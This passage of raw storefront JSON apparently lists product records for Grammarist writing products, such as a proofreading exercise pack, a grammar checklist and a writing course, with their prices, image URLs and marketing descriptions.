91"},"initial_variant":null,"initial_amount":9000,"scratch_amount":null,"scratch_display_amount":"","template":null,"template_part_id":"surecart\/surecart\/\/product-info","gallery":[{"ID":84073,"post_author":"305970","post_date":"2023-10-12 12:11:17","post_date_gmt":"2023-10-12 18:11:17","post_content":"","post_title":"Grammarist-Mockups-Tripwire-page---darker-1-","post_excerpt":"","post_status":"inherit","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"grammarist-mockups-tripwire-page-darker-1-1-2-png","to_ping":"","pinged":"","post_modified":"2023-10-12 12:11:18","post_modified_gmt":"2023-10-12 18:11:18","post_content_filtered":"","post_parent":14746,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":84073,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2.png"}],"display_amount":"$90","range_display_amount":"$90","is_on_sale":false,"line_item_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-150x150.png","class":"attachment-thumbnail size-thumbnail","alt":"Grammarist-Mockups-Tripwire-page---darker-1-","width":150,"height":150,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-150x150.png 150w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-300x300.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-100x100.png 100w","sizes":"(max-width: 150px) 100v
1248w, 150px"},"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-768x419.png","class":"attachment-medium_large size-medium_large","alt":"Grammarist-Mockups-Tripwire-page---darker-1-","width":768,"height":419,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-768x419.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-300x164.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-1024x559.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-600x327.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2.png 1100w","sizes":"(max-width: 768px) 100vw, 768px"},"cataloged_at_date_time":"December 17, 2024 6:31 am","has_videos":false,"total_reviews":0,"reviews_breakdown_array":[0,0,0,0,0],"review_url":"","created_by":false,"cached":null,"created_at_date":"December 17, 2024","created_at_date_time":"December 17, 2024 6:31 am","updated_at_date":"May 10, 2026","updated_at_date_time":"May 10, 2026 12:36 am","gallery_ids":[84073]},{"id":"0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde","object":"product","allow_out_of_stock_purchases":false,"archived":false,"auto_fulfill_enabled":true,"available_stock":-1,"average_stars":"0.0","bundle":false,"description":"\u003Cp\u003EWhether you\u2019re writing a novel, an article, or a blog post, proofreading is an essential step before you hit the Submit button. Add our Proofreading Pro: Exercise Pack to your cart so you can avoid any embarrassing errors in your writing. Here\u0027s a glimpse of what you\u0027ll get:\u003C\/p\u003E\u003Cp\u003E\u2705 779 Comprehensive Proofreading Questions covering grammar, punctuation, and more\u003Cbr\u003E\u2705 Practical exercises that build and refine your proofreading skills\u003Cbr\u003E\u2705 24\/7 access, allowing you to practice anytime, anywhere.\u003C\/p\u003E","featured":false,"licensing_enabled":false,"license_activation_limit":null,"purchase_limit":null,"metrics":{"currency":"usd","max_price_amount":14700,"min_price_amount":14700,"prices_count":1},"name":"Grammarist Proofreading Pro: Exercise Pack","recurring":false,"reviews_breakdown":[],"reviews_enabled":false,"shipping_enabled":false,"slug":"exercise-pack","solicit_reviews":true,"stock_enabled":false,"prices":{"object":"list","pagination":{"count":1,"limit":20,"page":1,"url":"\/v1\/prices?product_ids%5B%5D=0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde"},"data":[{"id":"4e02b03f-0309-4526-843a-b1681a815e37","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":14700,"archived":false,"currency":"usd","current_version":true,"full_amount":14700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734438015,"updated_at":1734438015,"display_amount":"$147","converted_amount":147,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde"}]},"product_group":null,"product_medias":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_medias?product_ids%5B%5D=0cba15
1248d6-fbe2-4abe-bd0d-9d84aaf3cbde"},"data":[]},"product_collections":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_collections?product_ids%5B%5D=0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde"},"data":[]},"variant_options":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/variant_options?product_ids%5B%5D=0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde"},"data":[]},"variants":{"object":"list","pagination":{"count":0,"limit":300,"page":1,"url":"\/v1\/variants?product_ids%5B%5D=0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde"},"data":[]},"image_url":null,"created_at":1734437920,"updated_at":1778394969,"post":{"ID":108538,"post_author":"307024","post_date":"2024-12-17 06:18:40","post_date_gmt":"2024-12-17 12:18:40","post_content":"","post_title":"Grammarist Proofreading Pro: Exercise Pack","post_excerpt":"\u003Cp\u003EWhether you\u2019re writing a novel, an article, or a blog post, proofreading is an essential step before you hit the Submit button. Add our Proofreading Pro: Exercise Pack to your cart so you can avoid any embarrassing errors in your writing. Here\u0027s a glimpse of what you\u0027ll get:\u003C\/p\u003E\u003Cp\u003E\u2705 779 Comprehensive Proofreading Questions covering grammar, punctuation, and more\u003Cbr\u003E\u2705 Practical exercises that build and refine your proofreading skills\u003Cbr\u003E\u2705 24\/7 access, allowing you to practice anytime, anywhere.\u003C\/p\u003E","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"exercise-pack","to_ping":"","pinged":"","post_modified":"2026-05-10 00:36:55","post_modified_gmt":"2026-05-10 06:36:55","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/?post_type=sc_product\u0026#038;p=108538","menu_order":0,"post_type":"sc_product","post_mime_type":"","comment_count":"0","filter":"raw"},"synced":true,"has_syncable_expands":false,"image_srcset":"","checkout_permalink":"https:\/\/grammarist.com\/buy\/exercise-pack","permalink":"https:\/\/grammarist.com\/products\/exercise-pack\/","is_published":true,"page_title":"Grammarist Proofreading Pro: Exercise Pack","meta_description":"\u003Cp\u003EWhether you\u2019re writing a novel, an article, or a blog post, proofreading is an essential step before you hit the Submit button. Add our Proofreading Pro: Exercise Pack to your cart so you can avoid any embarrassing errors in your writing. Here\u0027s a glimpse of what you\u0027ll get:\u003C\/p\u003E\u003Cp\u003E\u2705 779 Comprehensive Proofreading Questions covering grammar, punctuation, and more\u003Cbr\u003E\u2705 Practical exercises that build and refine your proofreading skills\u003Cbr\u003E\u2705 24\/7 access, allowing you to practice anytime, anywhere.\u003C\/p\u003E","in_stock":true,"active_prices":[{"id":"4e02b03f-0309-4526-843a-b1681a815e37","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":14700,"archived":false,"currency":"usd","current_version":true,"full_amount":14700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734438015,"updated_at":1734438015,"display_amount":"$147","converted_amount":147,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde"}],"has_variants":false,"has_multiple_prices":false,"active_ad_hoc_prices":[],"has_options":false,"featured_image":{"ID":87860,"post_author":"307024","post_date":"2023-12-05 10:15:21","post_date_gmt":"2023-12-05 16:15:21","post_content":"","post_title":"Proofreading Pro Exercise Pack Featured Image","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"proofreading-pro-exercise-pack-featured-image","to_ping":"","pinged":"","post_modified":"2023-12-05 10:15:21","post_modified_gmt":"2023-12-05 16:15:21","post_content_filtered":"","post_parent":70874,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":87860,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image.png"},"featured_media":null,"template_id":"pages\/template-surecart-product.php","trial_text":"","billing_interval_text":"","setup_fee_text":"","has_unlimited_stock":true,"first_variant_with_stock":null,"in_stock_variants":[],"initial_price":{"id":"4e02b03f-0309-4526-843a-b1681a815e37","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":14700,"archived":false,"currency":"usd","current_version":true,"full_amount":14700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734438015,"updated_at":1734438015,"display_amount":"$147","converted_amount":147,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde"},"initial_variant":null,"initial_amount":14700,"scratch_amount":null,"scratch_display_amount":"","template":null,"template_part_id":"surecart\/surecart\/\/product-info","gallery":[{"ID":87860,"post_author":"307024","post_date":"2023-12-05 10:15:21","post_date_gmt":"2023-12-05 16:15:21","post_content":"","post_title":"Proofreading Pro Exercise Pack Featured Image","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"proofreading-pro-exercise-pack-featured-image","to_ping":"","pinged":"","post_modified":"2023-12-05 10:15:21","post_modified_gmt":"2023-12-05 16:15:21","post_content_filtered":"","post_parent":70874,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":87860,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image.png"}],"display_amount":"$147","range_display_amount":"$147","is_on_sale":false,"line_item_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-150x150.png","class":"attachment-thumbnail size-thumbnail","alt":"","width":150,"height":150,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-150x150.png 150w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-300x300.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-100x100.png 100w","sizes":"(max-width: 150px) 100v
1248w, 150px"},"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-600x338.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image.png 1920w","sizes":"(max-width: 768px) 100vw, 768px"},"cataloged_at_date_time":"December 17, 2024 6:18 am","has_videos":false,"total_reviews":0,"reviews_breakdown_array":[0,0,0,0,0],"review_url":"","created_by":false,"cached":null,"created_at_date":"December 17, 2024","created_at_date_time":"December 17, 2024 6:18 am","updated_at_date":"May 10, 2026","updated_at_date_time":"May 10, 2026 12:36 am","has_variable_components":false,"bundle_variable_component_ids":[],"gallery_ids":[87860]},{"id":"a5ce16bd-b921-4ca6-b2b4-09dec1f80006","object":"product","allow_out_of_stock_purchases":false,"archived":false,"auto_fulfill_enabled":true,"available_stock":-1,"average_stars":"0.0","bundle":false,"description":"\u003Cp\u003EGet Lifetime Access to the Grammarguard Checklist for $97\u003C\/p\u003E","featured":false,"licensing_enabled":false,"license_activation_limit":null,"purchase_limit":1,"metrics":{"currency":"usd","max_price_amount":9700,"min_price_amount":9700,"prices_count":1},"name":"Grammarist GrammarGuard Checklist","recurring":false,"reviews_breakdown":[],"reviews_enabled":false,"shipping_enabled":false,"slug":"grammarguard-checklist","solicit_reviews":true,"stock_enabled":false,"prices":{"object":"list","pagination":{"count":1,"limit":20,"page":1,"url":"\/v1\/prices?product_ids%5B%5D=a5ce16bd-b921-4ca6-b2b4-09dec1f80006"},"data":[{"id":"240195d7-2b23-49ab-a3ba-1a77d72805d6","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9700,"archived":false,"currency":"usd","current_version":true,"full_amount":9700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"a5ce16bd-b921-4ca6-b2b4-09dec1f80006","renewal_price":null,"recurring_end_behavior":"complete","created_at":1735330016,"updated_at":1735330016,"display_amount":"$97","converted_amount":97,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"a5ce16bd-b921-4ca6-b2b4-09dec1f80006"}]},"product_group":null,"product_medias":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_medias?product_ids%5B%5D=a5ce16bd-b921-4ca6-b2b4-09dec1f80006"},"data":[]},"product_collections":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_collections?product_ids%5B%5D=a5ce16bd-b921-4ca6-b2b4-09dec1f80006"},"data":[]},"variant_options":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/variant_options?product_ids%5B%5D=a5ce16bd-b921-4ca6-b2b4-09dec1f80006"},"data":[]},"variants":{"object":"list","pagination":{"count":0,"limit":300,"page":1,"url":"\/v1\/variants?product_ids%5B%5D=a5ce16bd-b921-4ca6-b2b4-09dec1f80006"},"data":[]},"image_url":null,"created_at":1734436874,"updated_at":1778394969,"post":{"ID":108537,"post_author":"307024","post_date":"2024-12-17 06:01:13","post_date_gmt":"2024-12-17 12:01:13","post_content":"","post_title":"Grammarist GrammarGuard Checklist","post_excerpt":"\u003Cp\u003EGet Lifetime Access to the Grammarguard Checklist for $97\u003C\/p\u003E","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"grammarguard-checklist","to_ping":"","pinged":"","post_modified":"2026-05-10 00:36:55","post_modified_gmt":"2026-05-10 06:36:55","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/?post_type=sc_product\u
12480026#038;p=108537","menu_order":0,"post_type":"sc_product","post_mime_type":"","comment_count":"0","filter":"raw"},"synced":true,"has_syncable_expands":false,"image_srcset":"","checkout_permalink":"https:\/\/grammarist.com\/buy\/grammarguard-checklist","permalink":"https:\/\/grammarist.com\/products\/grammarguard-checklist\/","is_published":true,"page_title":"Grammarist GrammarGuard Checklist","meta_description":"\u003Cp\u003EGet Lifetime Access to the Grammarguard Checklist for $97\u003C\/p\u003E","in_stock":true,"active_prices":[{"id":"240195d7-2b23-49ab-a3ba-1a77d72805d6","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9700,"archived":false,"currency":"usd","current_version":true,"full_amount":9700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"a5ce16bd-b921-4ca6-b2b4-09dec1f80006","renewal_price":null,"recurring_end_behavior":"complete","created_at":1735330016,"updated_at":1735330016,"display_amount":"$97","converted_amount":97,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"a5ce16bd-b921-4ca6-b2b4-09dec1f80006"}],"has_variants":false,"has_multiple_prices":false,"active_ad_hoc_prices":[],"has_options":false,"featured_image":{"ID":88011,"post_author":"307033","post_date":"2023-12-08 08:08:50","post_date_gmt":"2023-12-08 14:08:50","post_content":"","post_title":"Grammarist Grammar Guru Guide (1)","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"grammarist-grammar-guru-guide-1","to_ping":"","pinged":"","post_modified":"2023-12-08 08:08:50","post_modified_gmt":"2023-12-08 14:08:50","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":88011,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1.png"},"featured_media":null,"template_id":"pages\/template-surecart-product.php","trial_text":"","billing_interval_text":"","setup_fee_text":"","has_unlimited_stock":true,"first_variant_with_stock":null,"in_stock_variants":[],"initial_price":{"id":"240195d7-2b23-49ab-a3ba-1a77d72805d6","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9700,"archived":false,"currency":"usd","current_version":true,"full_amount":9700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"a5ce16bd-b921-4ca6-b2b4-09dec1f80006","renewal_price":null,"recurring_end_behavior":"complete","created_at":1735330016,"updated_at":1735330016,"display_amount":"$97","converted_amount":97,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"a5ce16bd-b921-4ca6-b2b4-09dec1f80006"},"initial_variant":null,"initial_amount":9700,"scratch_amount":null,"scratch_display_amount":"","template":null,"template_part_id":"surecart\/surecart\/\/product-info","gallery":[{"ID":88011,"post_author":"307033","post_date":"2023-12-08 08:08:50","post_date_gmt":"2023-12-08 14:08:50","post_content":"","post_title":"Grammarist Grammar Guru Guide (1)","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"grammarist-grammar-guru-guide-1","to_ping":"","pinged":"","post_modified":"2023-12-08 08:08:50","post_modified_gmt":"2023-12-08 14:08:50","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":88011,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1.png"}],"display_amount":"$97","range_display_amount":"$97","is_on_sale":false,"line_item_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-150x150.png","class":"attachment-thumbnail size-thumbnail","alt":"","width":150,"height":150,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-150x150.png 150w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-300x300.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-100x100.png 100w","sizes":"(max-width: 150px) 100v
1248w, 150px"},"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-600x338.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1.png 1680w","sizes":"(max-width: 768px) 100vw, 768px"},"cataloged_at_date_time":"December 17, 2024 6:01 am","has_videos":false,"total_reviews":0,"reviews_breakdown_array":[0,0,0,0,0],"review_url":"","created_by":false,"cached":null,"created_at_date":"December 17, 2024","created_at_date_time":"December 17, 2024 6:01 am","updated_at_date":"May 10, 2026","updated_at_date_time":"May 10, 2026 12:36 am","has_variable_components":false,"bundle_variable_component_ids":[],"gallery_ids":[88011]},{"id":"4614e2c8-27a1-4778-907a-65f093116ba6","object":"product","allow_out_of_stock_purchases":false,"archived":false,"auto_fulfill_enabled":true,"available_stock":-1,"average_stars":"0.0","bundle":false,"description":"\u003Cul\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EAuthorial Insights and Practical Advice\u003C\/strong\u003E: Receive guidance and professional tips from Candace Osmond, a USA TODAY Bestselling Author, who shares her journey from an aspiring writer to a published author, helping you navigate the challenges of the writing world.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EFundamentals of Writing Mechanics\u003C\/strong\u003E: Learn the essential technical aspects of writing, including grammar, structure, and style, to produce clear, effective, and engaging content across various genres.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003ECharacter and Plot Development Mastery\u003C\/strong\u003E: Uncover techniques for creating complex characters and compelling plots, vital for crafting engaging narratives that captivate readers.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EDiverse Writing Styles and Formats\u003C\/strong\u003E: Gain proficiency in different writing styles, from narrative and expository to business-oriented content, enhancing your ability to connect with various audiences.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EEditing, Publishing, and Marketing Skills\u003C\/strong\u003E: Understand the complete writing process, from post-draft editing to publishing and marketing, equipping you with the tools to not only write but also successfully publish and promote your work.\u003C\/p\u003E\u003C\/li\u003E\u003C\/ul\u003E","featured":false,"licensing_enabled":false,"license_activation_limit":null,"purchase_limit":null,"metrics":{"currency":"usd","max_price_amount":29700,"min_price_amount":29700,"prices_count":1},"name":"Grammarist Master The Pen","recurring":false,"reviews_breakdown":[],"reviews_enabled":false,"shipping_enabled":false,"slug":"master-the-pen","solicit_reviews":true,"stock_enabled":false,"prices":{"object":"list","pagination":{"count":1,"limit":20,"page":1,"url":"\/v1\/prices?product_ids%5B%5D=4614e2c8-27a1-4778-907a-65f093116ba6"},"data":[{"id":"bd790649-74b3-4826-a67c-ec0498ba6c3c","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":29700,"archived":false,"currency":"usd","current_version":true,"full_amount":29700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"4614e2c8-27a1-4778-907a-65f093116ba6","renew
1248al_price":null,"recurring_end_behavior":"complete","created_at":1734436496,"updated_at":1734436496,"display_amount":"$297","converted_amount":297,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"4614e2c8-27a1-4778-907a-65f093116ba6"}]},"product_group":null,"product_medias":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_medias?product_ids%5B%5D=4614e2c8-27a1-4778-907a-65f093116ba6"},"data":[]},"product_collections":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_collections?product_ids%5B%5D=4614e2c8-27a1-4778-907a-65f093116ba6"},"data":[]},"variant_options":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/variant_options?product_ids%5B%5D=4614e2c8-27a1-4778-907a-65f093116ba6"},"data":[]},"variants":{"object":"list","pagination":{"count":0,"limit":300,"page":1,"url":"\/v1\/variants?product_ids%5B%5D=4614e2c8-27a1-4778-907a-65f093116ba6"},"data":[]},"image_url":null,"created_at":1734436431,"updated_at":1778394969,"post":{"ID":108536,"post_author":"307024","post_date":"2024-12-17 05:53:51","post_date_gmt":"2024-12-17 11:53:51","post_content":"","post_title":"Grammarist Master The Pen","post_excerpt":"\u003Cul\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EAuthorial Insights and Practical Advice\u003C\/strong\u003E: Receive guidance and professional tips from Candace Osmond, a USA TODAY Bestselling Author, who shares her journey from an aspiring writer to a published author, helping you navigate the challenges of the writing 